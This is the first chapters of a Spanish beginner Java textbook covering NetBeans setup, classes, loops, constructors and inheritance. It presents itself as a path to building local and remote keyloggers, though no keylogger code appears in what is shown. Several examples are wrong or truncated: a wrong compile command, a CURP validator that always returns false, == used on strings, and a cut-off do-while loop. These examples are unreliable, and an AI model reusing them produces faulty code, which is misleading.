“Contra portada”

En este libro comenzaremos a programar desde cero, empezado por

saber que es una clase y como la declaramos, utilizando nuestra
herramienta NetBeans, explicaremos a fodo ejemplos sencillos y
claros para mejor comprensión, java es un lenguaje estructurado,
por que permite utilizar las estructuras de control (if else,
while, for, operadores, etc). Java contiene algunas
características las cuales son: Objetos, Clases, Métodos,
Subclaes, Herencia Simple.

Explicaremos como Java también permite la creación de clases

totalmente abstractas, a las que llama interfaces con
características similares a los interfaces. Las interfaces
permiten definir métodos que
pueden compartir con varias clases, sin tener en cuenta cómo las
otras manejan los métodos. Hablaremos de algo que simpre ocurre en
la programación, los errores en los programas. El lenguaje Java
utiliza excepciones para manejar mejor con los errores. Mediante
el uso de excepciones para el control de errores, los programas en
Java tienen las siguientes ventajas frente a las técnicas de
manejo de errores tradicionales.

Realizaremos programas gráficos donde se podrá interactuar más a

detalle con el usuario, API son las iniciales de Application
Programmer Interface. Es una capa de abstracción que se pone
encima del sistema operativo para realizar hacer entradas y
salidas de una manera estandarizada.

Todos estos conceptos fueron escritos con la finalidad de poder

programar un keylogger, con la intención demostrar que uno mismo
puede realizar herramientas enfocadas a la seguridad de
informática.

1
 TABLA DE CONTENIDOS
 Introducción a Java…………………………………………………..............2
 Instalación del programa NetBeans IDE 8.2…………………….………...5

Capítulo 1: Java con Objetos

 Conceptos y Declaración de clases………………………………………11

 Declaración de Atributos y Métodos…………………………………...…18
 Operadores, Constructores, Inicialización y Modificadores……..……22
 Herencia Simple………………………………………………………………..41

Capítulo 2: Conceptos Avanzados sobre las clases

 Polimorfismo……………………………………………………………………46
 Herencia Múltiple…………………………………………………………......49
 Palabra clave Static…………………………………………………….……52
 Palabra clave Final…………………………………………………….……..55
 Clases abstractas……………………………………………………….........58
 Encriptación……………………………………………………………….......64

Capítulo 3: Utilidades y Elementos del JDK

 Expresiones…………………………………………………………………….69
 Control de flujo………………………………………………………………..71
 Arreglos…………………………………………………………………………92
Capítulo 4: Excepciones
 Definición de expresión………………………………………………….…106
 Sentencia Try-Catch-Finally………………………………………………..110
 Arrojar y Encadenar excepciones………………………………………..116

Capítulo 5: Interfaces Gráficas

 Menús…………………………………………………………………………112
 Clases y Evento………………………………………………………………134
 API Swing ……………………………………………………………………..166
 Archivos………………………………………………………………………..207
 Construcción de keylogger parte 1……………………………………...209
 Contrucción de keylogger parte 2……………………………………….221
 Keylogger local y remoto…………………………………………………..223

2
 Introducción a Java

Java es un lenguaje orientado a objetos diseñado para ser distribuido,

interpretado, seguro, de arquitectura neutra, portable, multitarea y
dinámica., el programa que necesitaremos en este curso será NetBeans
que lo utilizaremos como nuestro compilador esta en diversos sistemas
operativos.

Tiene como característica la posibilidad de empelarlo para crear applets y

ser insertados en páginas HTML, o mediante serylets y páginas jsp para
generar código HTML dinámico. Con la finalidad de acceder a la base de
datos.

Estas características lo hacen un lenguaje libre, lo programas en Java se

construyen con clases.

Instanciando estas clases se podrán crear cualquier cantidad de objetos.

Se puede pensar en una clase como en una plantilla para construir
objetos. Las clases estarán compuestas por dos tipos de miembros:
los campos, o datos de la clase, y los métodos, o acciones que se pueden
realizar sobre los datos que más adelante veremos en nuestro curso.

Para que un lenguaje pueda considerarse orientado a objetos debe

soportar como mínimo las características de:

- Encapsulación
- Herencia
- Polimorfismo
- Enlace dinámico.

3
 ¿Porque programar en Java?

Java es un lenguaje de programación que puede realizar cálculos

matemáticos, base de datos, aplicaciones gráficas, animaciones, hojas de
cálculo, en te muchas cosas más.

Tiene un enfoque a las páginas web, ya que no tienen que ser estáticas, se
le pueden poner toda clase de elementos multimedia ya que permiten un
alto nivel de interactividad con el usuario.

Java es una plataforma desarrollo computacional independiente, dentro

de este lenguaje existen librerías de clases gráficas, las cuales permiten
crear objetos gráficos comunes altamente configurables y con una
arquitectura independiente de la plataforma, así mismo permite a los
desarrolladores aprovechar la flexibilidad de la programación orientada a
objetos en el diseño de sus programas.

Elimina la complejidad de algunos lenguajes como “C” y nos abre camino

a los lenguajes modernos orientado a objetos. En cuestión a la sintaxis de
Java es muy similar a la de “C” y “C++”.

Una vez que logres comprender estos conceptos básicos de Java se te

hará muy sencillo comprender los de más lenguajes de programación.

Al compilar un programa en Java, el código resultante es un tipo de

código binario ubicado como byte code.

Este código es interpretado por diferentes computadoras de igual manera,

solo hay que implementar un intérprete para cada plataforma. De esta
manea Java logra ser un lenguaje que no depende de una arquitectura
computacional definida.

4
Java enfocado a la seguridad informática:
Esta vez empecé por adoptar la necesidad del concepto de la
programación desde lo más básico y que realmente se pueda comprender,
más conceptos en el entorno de la seguridad.

Programar en Java o C# es como aprender otro idioma, muy sencillo

siempre y cuando haya esfuerzo y dedicación. En la actualidad Java es el
lenguaje de programación más utilizado.

Comenzaremos con lo más básico de Java y terminaremos con Java, dentro

del contenido también habrá un enfoque a la estructura de datos.

Dentro de nuestra guía se mostrará lo más básico en la programación, para

para llegar a nuestro objetivo, de realizar un keylogger.

*
*
*
*
*
*
*
*
*
*
*
*
*

---Guía de programación rápida en JAVA---

5
Lo que se cubre en nuestro libro:
Capítulo 1: Java con objetos: En este capítulo comenzaremos a programar
desde cero, empezado por saber que es una clase y como la declaramos,
utilizando nuestra herramienta NetBeans, explicaremos a fodo ejemplos
sencillos y claros para mejor comprensión, java es un lenguaje
estructurado, por que permite utilizar las estructuras de control (if else,
while, for, operadores, etc). Java contiene algunas características las
cuales son: Objetos, Clases, Métodos, Subclaes, Herencia Simple.

Capítulo 2: Conceptos avanzados de clases: En este caítulo explicaremos

como Java también permite la creación de clases totalmente abstractas,
a las que llama interfaces con características similares a los interfaces. Las
interfaces permiten definir métodos que
pueden compartir con varias clases, sin tener en cuenta cómo las otras
manejan los métodos.

Capítulo 3: Utilidades y elementos de JDK: En este capítulo retomaremos

conceptos de los capítulos anteriores, Java y su sistema de ejecución en
tiempo real son dinámicos en la fase de enlazado. Las clases sólo se
enlazan a medida que son necesitadas, procedente de fuentes muy
variadas. Veremos los diagramas de flujos en los diversos ciclos,
explicaremos las estructuras de control y los arreglos que son muy
importantes para agilizar nuestros programas.

Capítulos 4: Excepciones: En este capítulo hablaremos de algo que simpre

ocurre en la programación, los errores en los programas. El lenguaje Java
utiliza excepciones para manejar mejor con los errores. Mediante el uso de
excepciones para el control de errores, los programas en Java tienen las
siguientes ventajas frente a las técnicas de manejo de errores tradicionales.
Separar el Manejo de Errores del Código “Normal”. Estará en una zona
separada donde podremos tratar las excepciones como un código
“especial”.

Capítulo 5: Interfaces Gráficas: En este capítulo realizaremos programas

gráficos donde se podrá interactuar más a detalle con el usuario, API son
las iniciales de Application Programmer Interface. Es una capa de
abstracción que se pone encima del sistema operativo para realizar hacer
entradas y salidas de una manera estandarizada. Una especificación de
una librería software, especificando las llamadas a funciones, los
argumentos, y los resultados que se obtienen al ser utilizarlas. Es más que
6
diseño, para usar una API necesitas una librería actual que se encuentre
dentro de Java.

Desde el principio:
Java es un lenguaje de carácter general y orientado a objetos, ¿realmente
porque es importante conocer el lenguaje de programación Java?

Las aplicaciones de Java son generalmente compiladas a bytecode “clase

Java” que puede ejecutarse en cualquier máquina virtual Java “JVM” sin
importar la arquitectura de la computadora subyacente.
Es un lenguaje multiplataforma, empezaremos a conocer Java.

Lo que necesitarás para este libro:

¿Porque se utilizó la versión de NetBeans 8.2?
Es recomendable la versión 8.2 ya que la 8.1 se tiene que instalar por aparte el
software Java y encontrar la versión que NetBeans requiera, si no es la
correcta no se instalara el software, el programa te dará algunas opciones,
pero es mejor el 8.2 ya que solo instalara toda la paquetería que necesite.

El programa que vamos usar para este curso de programación en java es

NetBeans IDE 8.2, el programa está disponible para Windows, Mac y Linux.
Es necesario checar nuestro sistema operativo si es de 32 bits o 64 bits en
este caso usáramos una versión de 64 bits, es importante que chequemos
este punto, de lo contrario nuestro programa no arrancara.

7
Comenzaremos con el proceso de instalación:

Empezáramos por cómo crear un nuevo proyecto, una vez ya instalado

nuestro programa “Imagen 1.1”:

Imagen 1.1, Instalador del programa

Una vez que termine este proceso haremos clic en “next” y nos aparecerá
la siguiente ventana “Imagen 1.2”:

8
 Imagen 1.2, Instalando del programa

Continuamos haciendo clic en “next” y nos aparecerá la siguiente ventana

“Imagen 1.3”:

Imagen 1.3, Instalando el programa:

9
Aceptamos los términos y condiciones y hacemos clic en “next” y nos
aparecerá la siguiente ventana “Imagen 1.4”:

Imagen 1.4, Instalando el programa

Hacemos clic en “next” y nos aparecerá esta ventana “Imagen 1.5”:

Imagen 1.5, Instalando el programa

10
Hacemos clic en “Instalt” y esperamos a que termine el programa, y
tendremos nuestro programa listo para utilizar.
Para crear un proyecto es lo que vamos hacer:

Nos iremos a la parte donde dice File y hacemos clic en “new proyect”, le
damos clic y nos aparecerá una ventana como esta, nos despliega una
serie de lenguajes en nuestro caso seleccionaremos java “Imagen 1.6”:

Imagen 1.6, principio de un nuevo proyecto

Una vez que tengamos esta ventana, hacemos clic en “next” y nos
arrojara otra ventana como esta, que nos indicara cual es el nombre de
nuestro programa “Imagen 1.7”:

Imagen 1.7, Nombre del proyecto

11
En esta imagen le indico también en que parte nos indica donde guardara
los proyecto que vallamos realizando a lo largo de nuestro curso, una vez
hecho esto le damos clic en “Finish”, “Imagen 1.8”.

Imagen 1.8, Proyecto ya creado

12
 1. Java con Objetos
1.1. Conceptos y Declaración de clases

Empezaremos por describir una clase en java, que se puede interpretar

como una abstracción que define variables o parámetros, los cuales
contiene métodos, comunes a un cierto tipo de problema, donde dentro de
la clase comenzaremos a desglosar instrucciones que pueden hacer una o
varias instancias.

En java podemos tener infinidad de clases de las cuales luego se pueden

crear subclases del mismo tipo, pero luego cada parámetro de la clase
tendrá sus respectivos valores “un propio color, receta o instrucción” que a
su vez lo compartían las mismas funciones.

Para poder declarar una clase es necesario que tengamos nuestro proyecto
listo, en este caso tomaremos el proyecto que creamos y nos
posicionaremos en “Source Packages” daremos clic derecho y nos dirigimos
a new y crearemos un “java class”, pondremos el nombre de clase que
queramos “Imagen 1.9”:

Imagen 1.9, Ejemplo de declaración de clase

13
 Imagen 1.10, Ejemplo de clase

Es muy útil hacer comentarios en nuestros programas, para así tener claridad
en lo que estamos haciendo y se pueden poner // o /* que empieza a
comentar el texto y lo termina con */.

El cargador de la clase:

 Carga todas las clases necesarias para la ejecución de un programa.

 Mantiene clases del sistema de archivos local en Namespaces.

En el análisis describe lo que el programa necesita hacer:

 Modela actores y actividades, objetos y comportamientos.

El diseño describe cómo el sistema lo hace:

 Modela las relaciones y las interacciones entre objetos y

actores del sistema, encuentra abstracciones útiles para
ayudar a simplificar el problema.

Una abstracción puede contener:

14
  Funciones - Que describen un algoritmo una vez para ser usado en
muchos casos.
 Objetos: Agrupa un conjunto de atributos.

Comportamientos dentro de una clase:

 Marcos y grandes grupos de objetos que apoyan una actividad

compleja. Como pueden ser modificados para extender el
comportamiento básico.

En la fabricación de un modelo describe un dispositivo, que se construyen

muchos dispositivos físicos.

En el software, una clase es una descripción de un objeto:

 Una clase indica los datos, comportamientos que incluye cada

objeto.

En Java, las clases admiten tres características clave:

 Encapsulación
 Herencia
 Polimorfismo

15
Empezarnos con nuestro primer programa básico, el más común que se
pueda realizar en cualquier lenguaje de programación:

“HOLA MUNDO”

Comenzaremos por abrir un bloc de notas y empezaremos a crear nuestro

programa, una forma de entrar es oprimir la tecla de Windows + R y ejecutar
el siguiente acceso: “notepad”.

En este primer programa básico no utilizaremos NetBeans, si no se mostrará

cómo compilar desde el CMD:
Paso 1:
class hola
{
public static void main(String[] args)
{
System.out.println("Hola Mundo");
}
}
Paso 2:
Una vez que tenemos nuestro programa en el bloc de notas el siguiente paso
es:

Procede a buscar la ruta de instalación, por ejemplo:

C:\Program Files\Java\jdk1.7.0_02\bin

Esa dirección es la ruta que tendremos que agregar a la variable de entorno

Path, para ello debemos ir a:
Mi PC -> Click derecho -> Propiedades -> [Pestaña] Opciones Avanzadas ->
Variables de Entorno

Equipo -> Click derecho -> Propiedades -> Configuración Avanzada del
Sistema -> [Pestaña] Opciones Avanzadas -> Variables de Entorno

16
Buscamos en el cuadro mostrado la variable de nombre Path, presionamos
Editar, en el cuadro mostrado, nos vamos hasta el final del texto que ya está
escrito y agregamos lo siguiente sin las comillas:
";C:\Program Files\Java\jdk1.7.0_02\bin;"

Mostrando en la siguiente “Imagen 1.11”:

Imagen 1.11

Paso 3:

Guardamos el archivo con el nombre "HolaMundo.java", en mi caso lo

guardé en la raíz del disco duro, es decir en: "C:\HolaMundo.java", para
compilarlo ejecutamos la siguiente sentencia:

java HolaMundo.java

Esto nos genera un archivo HolaMundo.class, y para ejecutar el código

compilado en la Consola escribimos:

java HolaMundo

Es muy importante, que no se coloque la extensión del archivo “es decir el

.class”

17
Listo ya tenemos nuestro primer programa en Java.

Realizando este ejercicio básico podemos notar que hay una diferencia
entre print, println, la diferencia es que si ejecutamos esto:

System.out.print(“Hola”);
System.out.println(“mundo”);
La salida del programa seria esta:
Hola mundo  “Diferencia”

Otro ejmeplo:

System.out.println(“Hola”);
System.out.println(“mundo”);

Salida:

Hola
mundo

La diferencia entre print y println es que println da un salto de línea, pero

pueden usar la diagonal invertida que es un carácter de escape y Java lo
interpreta dependiendo de la letra que se ponga enseguida este caso la n
para formar una secuencia de escape que quiere decir nueva línea:
System.out.print(“Hola\nMundo”);
Salida:

Hola
Mundo

18
Secuencias de escape:

A continuación, se mostrará una breve descripción de algunas secuencias

de escape “Imagen 1.12”:

Imagen 1.12, Secuencia de escape

19
 1.2. Declaración de Atributos y Métodos

A continuación, mostraremos una tabla con los tipos de datos que están
en java “Imagen 1.13”:

Imagen 1.13, Tipos de datos en java

20
Los miembros dato

Los valores de los atributos se guardan en variables de instancia. Los

nombres de dichas variables comienzan por letra minúscula.

Una clase puede contener cualquiera de los tipos de variables:

 Variables locales: Son variables definidas dentro de los métodos, los

constructores se consideran variables locales. Se declara la variable y
se inicializa en el método y la variable será desechada cuando el
método se ha completado.
 Variables de instancia: Son variables dentro de una clase, pero
pueden estar fuera de cualquier método. Estas variables se crean
instancias cuando se carga la clase. Se puede entrar desde el fondo
de cualquier método, constructor en especial.
 Variables de clase: Las variables de clase son variables declaradas
dentro una clase y fuera de cualquier método. Ejemplo declaramos
la clase mochila y ponemos como variables de clase modelo color y
tamaño.

Imagen 1.14, Ejemplo de variable de clase

21
En java una clase puede tener cualquier número de métodos para acceder
o modificar el comportamiento de la clase, “Imagen 1.15”.

Imagen 1.15, Ejemplo de cómo declarar un método.

Los métodos Get y Set en la forma de entrar a los atributos de la clase, se

usan con los atributos privados, de tal forma que los públicos pude
acceder directamente sin tener que recurrir a ellos.

Método Get:

 Se relaciona con el tipo de variable asociada, devuelve el valor de

una propiedad de un objeto.

Método Set:

 Tiene un tipo de retorno “void” y toma un parámetro del tipo adecuado

para asignar a la variable asociada.

Las ventajas de usar estos métodos, es la protección de las variables que utilizan
los métodos de acceso que permite a los programadores modificar sencillamente
el código, sin cambiar la forma en que se requiere la clase por otros.

Utilizaremos la clase persona, para dar ejemplo del método Get y Set “Imagen
1.16”:

22
 Imagen 1.16, Método Get y Set.

Los atributos son lo que diferencia un objeto de otro y determina su

apariencia, estado. Los atributos se guardan en variables determinadas de
instancia, y cada objeto especial puede tener valores, diferentes para
estas variables.

Las variables de instancia también determinadas miembros dato, son

declaradas en la clase, pero sus valores son fijos y cambiados en el objeto.
Hay variables de clase, las cuales se aplican a la clase y a todas sus
instancias.

23
 1.3. Operadores, Constructores, Inicialización y
Modificadores

Principales operadores lógicos en java “Imagen 1.17”:

Imagen 1.17, Operadores lógicos

24
Los Operadores lógicos tienen prioridad, se mostrará una pirámide general
que indica el orden en que deben evaluarse, “Imagen 1.18”:

Imagen 1.18, Prioridad de operadores lógicos

1.1 Ejemplo de Operadores lógicos:

Sumar Números
import java.util.Scanner; // el programa usa la clase Scanner;
public class sumar
{
public static void main(String[] args)
{
//Crea objeto scanner para obtener los datos de entrada
Scanner leer = new Scanner(System.in);
int a, b, resultado; // declaramos las 3 variables.
System.out.print(“Escriba el primer número a sumar:”);
a = leer.nextInt();

25
System.out.print(“Escriba el segundo número a sumar:”);
b = leer.nextInt();
resultado = a + b;
System.out.printf(“La suma es %d\n “, resultado)
} // fin del método main
} // fin de la clase

En lo que podemos resaltar de este pequeño programa es lo siguiente:

Manejamos 3 variables de tipo entero pero una variable es una ubicación

en la memoria de la computadora, en donde se puede guardar un valor
para utilizarlo después en un programa. Todas las variables deben
declararse con un “Nombre” y un “Tipo”. El nombre de esta tiene que tener
su identificador y valido para que permita al programa acceder al valor de
la variable en memoria, también hay que recordar las instrucciones de
declaración que terminan por un punto y coma “;”.

En la parte donde creamos el objeto para leer datos podemos resaltar que
un objeto Scanner permite a un programa leer datos como números,
cadenas, etc.

Para poder impirmir la suma escribimos printf, le damos un formato para dar
el resultado. El especificador %d es un receptaculo para un valor int, en este
caso el valor de el resultado, la letra d se refiere a “entero decimal”.

Bueno empezaremos a ver operaciones en java como (+, -, *, /, %) y

asignación =.
También operadores condicionales en java como:
Igual ==
Diferente de !=
Relacionales
< menor que,> mayor que, <= menor igual que, >= mayor o igual que
Relación y comparación de datos con instrucción if.

26
1.2 Ejemplo Operadores lógicos:
import java.util.Scanner;
public class uno_dos
{
public static void main(String[] args)
{
Scanner leer = new Scanner(System.in);
int a, b;
System.out.print(“Escribe el primer número”);
a = leer.nextInt();
System.out.print(“Escribe el segundo número”);
b = leer.nextInt();
if( a == b)
System.out.printf(“ %d == %d\n”, a,b);
if( a != b)
System.out.printf(“ %d != %d\n”, a,b);
if( a < b)
System.out.printf(“ %d < %d\n”, a,b);
if( a > b)
System.out.printf(“ %d > %d\n”, a,b);
if( a >= b)
System.out.printf(“ %d >= %d\n”, a,b);
if( a <= b)
System.out.printf(“ %d <= %d\n”, a,b);
}
}

27
1.3 Ejemplo de los operadores lógicos:
import java.util.*;
public class programa04 {
public static void main (String args[]){
long a,b;
//scanner te permite capturar valores desde el teclado
Scanner teclado=new Scanner(System.in);
System.out.println("Dame un numero 1:");
a=teclado.nextLong();
System.out.print("Dame el numero2:");
b=teclado.nextLong();
if(a>b){
System.out.println("El mayor es:"+a);
}else{
System.out.println("El mayor es"+b);
}
}
}

Imagen 1.19, Ejemplo 1.3

28
1.4 Ejemplo de operadores lógicos:
public class Verdaderoyfalso
{
public static void main(String[] args)
{
String sexo ="Mujer";
int edad = 35;
if (sexo == "Mujer" || edad==25 )
{
System.out.println("Si eres mujer y tienes 25 años ");
}
else
{
System.out.println("Alguna de las opciones no esta correcta ");
}
}
}

Imagen 1.20, Ejemplo1.4

29
1.5 Ejemplo de operadores lógicos:
public class Verdaderoyfalso
{
public static void main(String[] args)
{
String sexo ="Hombre";
int edad = 35;
if (sexo == "Mujer" || edad==25 )
{
System.out.println("al menos una es correcta ");
}
else
{
System.out.println("Ninguna de las opciones es correcta ");
}
}
}

Imagen 1.21, Ejemplo 1.5

30
Comenzaremos hablar sobre los ciclos, que nos ayudan para repetir una
instrucción.

El ciclo while, nos permite especificar que un programa debe repetir una
acción mientras cierta condición sea verdadera.
1.6 Ejemplo de ciclo While:
import java.util.Scanner;
public class ciclo
{
public static void main(String[] args)
{
Scanner leer = new Scanner(System.in);
int contador = 1; // iniciamos el contador que será uno
float x = 0; // x guarda el total de la suma
float y; // aquí se almacenará cada calificación
float promedio; // para sacar el promedio

System.out.println("Bienvenidos al programa para sacar calificaciones y

promedios ");
System.out.println("ingrese el número de calificaciones a tomar");
int a = leer.nextInt(); // cuantas calificaciones
while(contador <= a) // inicia en uno y si es menor o igual a “a”
{ // sigue el ciclo si es falso esto termina
System.out.printf("Introduce la calificación %d :", contador);
y = leer.nextFloat(); // pide un dato
x = x + y; // incrementa la suma
contador = contador + 1; // incrementa en uno el contador
}
promedio = x / a; // la suma total de x se divide entre el numero
// de calificaciones

31
System.out.printf("Promedio es: %f ", promedio);
}} //mostramos

1.7 Ejemplo 2 de ciclo While:

Public class ciclo2
{
public static void main(String[] args)
{
int contar = 1;
System.out.print("numeración de 1 al 100");
while(contar <=100)
{
System.out.printf(" %d ",contar); //mostramos el numero
contar++; // incrementamos en uno el contador
}
}
}

En este ejemplo mostramos un operador de incremento y a continuación

se mostrarán alguno de ellos.

Imagen 1.22, Ejemplo 1.7

32
Ciclo de repetición For:
En el ciclo For es necesario seguir estas reglas:
For (inicialización, condición, incremento)
Ejemplo de ello “Imagen 1.22”:

Imagen 1.23, Ejemplo de ciclo For

A haremos un programa para hacer un conteo desde 1 al 100 con ciclo For.
1.8 Ejemplo de ciclo For:
Public class ciclo3
{
public static void main(String[] args)
{
System.out.print("numeración de 1 al 100");
for(int contar = 1; contar <=100; contar++)
{
System.out.printf(" %d ",contar);
}
}
}

33
Ciclo de repetición Do While:

Do while es un ciclo que da ciertas instrucciones, evalúa la condición de

continuación de ciclo, después de ejecutar el cuerpo del ciclo, el cuerpo
siempre se ejecuta por lo menos una vez.

A haremos un programa para hacer un conteo desde 1 al 100 con ciclo Do

While.
1.9 Ejemplo de ciclo Do While:
Public class ciclo4
{
public static void main(String[]
{
int contador = 1;
do{ // este bloque en rojo por lo menos se ejecuta 1 vez.
System.out.printf(" %d ",cont
contador++;
}while(contador <=100);
}
}

En estos breves ejemplos mostramos 3 tipos de ciclos ya es cuestión de cada

programador el que dese utilizar.

34
 1.4. Constructor
El constructor tiene el nombre de como definimos la clase y nunca tienen
tipo de retorno a diferencia de un método. Es importante diferenciar entre
un método y un constructor.

Por lo regular siempre hay un constructor en cada clase, el valor

predeterminado le permite crear instancias de objeto nuevo, sin tener que
escribir un constructor.

Es recomendable que un constructor inicialice los atributos de la clase a un

que no tengan valor. En caso de que se quiera inicializar un atributo en
cero “valor numérico” siempre lo declararemos de esta forma: “nombre
del atributo = 0; En caso de que un atributo que quiera inicializar a un valor
nulo “atributos que son objetos” lo declararemos de esta manera: “nombre
del atributo = null; Otro caso de inicializar un atributo tipo texto es
necesario inicializar vacío lo declararemos de esta manera: “nombre del
atributo = “”.

El motivo por lo que enseñamos estas opciones es que hay un sinfín de

maneras de declarar los atributos, ya que pueden ser nulos o vacíos y ya es
cuestión de cada persona el uso que les dé.

Un constructor puede carecer de parámetros ya que no es necesario

mandarle un parámetro al objeto para que pueda inicializarse.
Un constructor sin parámetros se entiende por “constructor general”.
En resumen, lo más importante de los constructores:

 Se llama igual que la clase

 No devuelve ningún valor
 Puede a ver varios constructores, respetando los parámetros de
sobrecarga de funciones
 Sólo un constructor hará el proceso al crear un objeto de la clase

35
 Imagen 1.24, Ejemplo del constructor.

1.10 Ejemplo de 2 constructores:

//Ejemplo de clase con dos constructores y un método
public class persona {
private String nombre;
private int edad;
// constructor 1
public persona (String nombrePersona) {
nombre = nombrePersona;
edad = 0; }
//constructor 2
public persona () {
nombre = "";
edad = 0; }

36
 public String getNombre () { return nombre; } //Cierre del método
}
1.11 Ejemplo de constructor, pero con sobre carga:
public class Persona {
//Modificador private es el alcanse
//public (lo ve el proyecto)
//Modifiador no va es default (quien me usa lo ve)
//private nadie (solo la propia clase)
//atributos
private String curp;
private String nombre;
private long aniomesdia;
//constructor default
Persona(){
curp="";
nombre="";
aniomesdia=0;
}
//Sobrecarga del constructor
Persona(String curp, String nombre,long aniomesdia){
this.curp=curp;
this.nombre=nombre;
this.aniomesdia=aniomesdia;
}
//Metodo que imprima el nombre
public void imprimenombre(){
System.out.println("nombre="+nombre);

37
}
//Metodo que no regresa
//Set es para asignar
public void setaniomesdia(long aniomesdia){
this.aniomesdia=aniomesdia;
}
//Metodo que regresa
//Get regresa
public long getaniomesdia(){
return aniomesdia;
}
public void setcurp(String curp){
this.curp=curp;
}
public String getcurp(){
return curp;
}
public void setnombre(String nombre){
this.nombre=nombre;
}
public String getnombre(){
return nombre;
}
public String genero(){
//la doble comilla convierte en string automaticamente
return ""+curp.charAt(10);
}

38
 public boolean verificacurp(){

//length metodo para saber la longitud de una cadena de texto !=

diferente
if(curp.length()!=18){
return false;
}else{//|| or y variables tipo char siempre va '
if(curp.charAt(10)!='H'||curp.charAt(10)!='M'){
return false;
}else{
return false;
}
}
}
}

39
 1.5. Inicialización y Modificadores
Los modificadores de acceso son “public, private, protected y default”
estos determinan desde donde la clase puede acceder a un elemento.

Si inicializamos clase en public permite acceder al elemento desde

cualquier clase, es un nivel público, independientemente de que la clase
pertenezca o no al proyecto en que se encuentra el elemento.

El caso de private, es un nivel privado, donde es el modificador más

restrictivo y especifica los elementos que lo utilizan, sólo pueden ser
accedidos desde la clase en la que están.

Sólo puede utilizarse sobre los miembros de una clase y sobre interfaces y
clases internas.

Private convierte los elementos en privados para las otras clases, un objeto
de una determinada clase puede acceder a los miembros privados de
otro objeto de la misma clase.

En el caso de protected, indica que los elementos solo pueden ser

accedidos desde su mismo paquete “acceso por defecto” y desde
cualquier clase.

1.12 Ejercicio: Dado los datos de las calificaciones de 20 alumnos de la

materia de bilogía, realizar un programa en java que tenga los siguientes
requisitos:

 Obtener el promedio de los 20 alumnos.

 Imprimir las calificaciones en orden inverso.

Solución del ejercicio 1.12:

public class Programa {
public static void main (String[] args)
{
Scanner teclado= new Scanner(System.in);

int [] prome;
prome= new int[20];

40
 int j=0,i;
float total=0;
for(i=0;i<20;++i)
{
System.out.print("ingrese calificacion del alumno "+i+": ");
prome[i]=teclado.nextInt();
total=total+prome[i];
}
System.out.println("total es: "+total);
total= total/20;
System.out.println("promedio general es: "+total);
for(i=19;i>=0;--i)
System.out.println("alumno "+i+" su promedio es: "+prome[i]);
}
}

41
1.13 Ejercicio: Realizar un programa en java que calculé el mayor y el
menor de n números.
Solución del ejercicio 1.13:
public class Programa {
public static void main(String[] args) {
int cant,num,mayor=0,menor=0,i;

cant=Integer.parseInt(JOptionPane.showInputDialog("ingrese
repeticiones:"));
for(i=1;i<=cant;i++)
{

num=Integer.parseInt(JOptionPane.showInputDialog("ingrese
numero:"));
if(i==1){
mayor=num;
menor=num;
}
if(num<menor)
menor=num;
if(num>mayor)
mayor=num;
}
System.out.println("mayor= "+mayor);
System.out.println("menor= "+menor);
}
}

42
 1.6. Herencia Simple
Es un mecanismo que permite la definición de una clase a partir de otra
clase ya existente.

La herencia nos permite compartir métodos y parámetros entre las clases,

subclases y objetos.

Dentro de la herencia hay dos tipos “Herencias siempre y Herencia

múltiple”, la herencia simple muestra que se puede definir nuevas clases,
únicamente a partir de una clase inicial.
En java sólo permite la herencia simple.

El objetivo de utilizar herencia múltiple es fortalecer los conceptos de

clases, métodos, atributos y constructores, que más delante de
profundizará este tema.

Imagen 1.25, Ejemplo de Herencia.

43
1.14 Ejemplo de herencia:
Usaremos el ejercicio 1.11“sobrecarga del constructor” la case persona:
public class Persona {
//Modificador private es el alcanse
//public (lo ve el proyecto)
//Modifiador no va es default (quien me usa lo ve)
//private nadie (solo la propia clase)
//atributos
private String curp;
private String nombre;
private long aniomesdia;
//constructor default
Persona(){
curp="";
nombre="";
aniomesdia=0;
}
//Sobrecarga del constructor
Persona(String curp, String nombre,long aniomesdia){
this.curp=curp;
this.nombre=nombre;
this.aniomesdia=aniomesdia;
}
//Metodo que imprima el nombre
public void imprimenombre(){
System.out.println("nombre="+nombre);

44
}
//Metodo que no regresa
//Set es para asignar
public void setaniomesdia(long aniomesdia){
this.aniomesdia=aniomesdia;
}
//Metodo que regresa
//Get regresa
public long getaniomesdia(){
return aniomesdia;
}
public void setcurp(String curp){
this.curp=curp;
}
public String getcurp(){
return curp;
}
public void setnombre(String nombre){
this.nombre=nombre;
}
public String getnombre(){
return nombre;
}
public String genero(){
//la doble comilla convierte en string automaticamente
return ""+curp.charAt(10);
}

45
 public boolean verificacurp(){

//length metodo para saber la longitud de una cadena de texto !=

diferente
if(curp.length()!=18){
return false;
}else{//|| or y variables tipo char siempre va '
if(curp.charAt(10)!='H'||curp.charAt(10)!='M'){
return false;
}else{
return false;
}
}
}
}

Y después crearemos una clase Alumno:

//Herencia: lo que desarrollaste en persona no desarrollas en alumno
public class Alumno extends Persona{
private long id;
Alumno(){
super(); //Se invoca al padre
id=0;
}
Alumno(long id, String curp, String nombre, long aniomesdia){

super(curp,nombre,aniomesdia); //Prioridad al que se cree primero en

memoria al PADRE en este caso a Persona
this.id=id;
}

46
 public void muestradatos(){
System.out.println("ID="+id);
super.imprimenombre();
}
public void setid(long id){
this.id=id;
}
public long getid(){
return id;
}
}
Este es un claro ejemplo de lo que es una herencia.

47
 2. Conceptos avanzados sobre las Clases

2.1. Polimorfismo
El polimorfismo indica un término “muchas formas” que se refiere a la
propiedad por la que es posible enviar mensajes iguales a objetos de tipos
diferentes.

La regla para que esto pueda cumplirse es en los objetos que se utilizan de
manera polimórfica es saber responder al mensaje que le envía.

También se puede interpretar como la capacidad de adquirir varias formas

de un objeto. Se utiliza una referencia de una clase padre, para referirse al
objeto de la clase hijo.

La variable puede ser restringida a otros objetos, siempre y cuando no se

haya declarado al final. El tipo de variable determina los métodos que
podrán ser llamados sobre el objeto.

Una variable puede referirse a cualquier objeto o cualquier subcategoría

de su mismo tipo.
Mostraremos un breve ejemplo grafico de polimorfismo “Imagen 1.26”.:

Imagen 1.26, Ejemplo de Polimorfismo

48
1.15 Ejemplo de polimorfismo:
public class programa12 {
public static void main(String args[]){
programa11 p11[]=new programa11[10];
p11[0]= new programa11();
System.out.println(p11[0].gettipo());
p11[1]= new programa10();
System.out.println(p11[1].gettipo());
//Una variable p11 tipo clase programa1
//Puede tomar el valor de otra clase
//polomorfismo
}
}

Ejemplo número 2 “Imagen 1.27”.:

Imagen 1.27 Ejemplo 2

49
La herencia puede reutilizar las partes comunes de la superclase. A
diferencia del polimorfismo, en la forma que se implementa la superclase.

50
 2.2. Herencia Múltiple

La herencia múltiple representa la subclase comparte características de las

dos superclases, tiene sus propias características específicas.

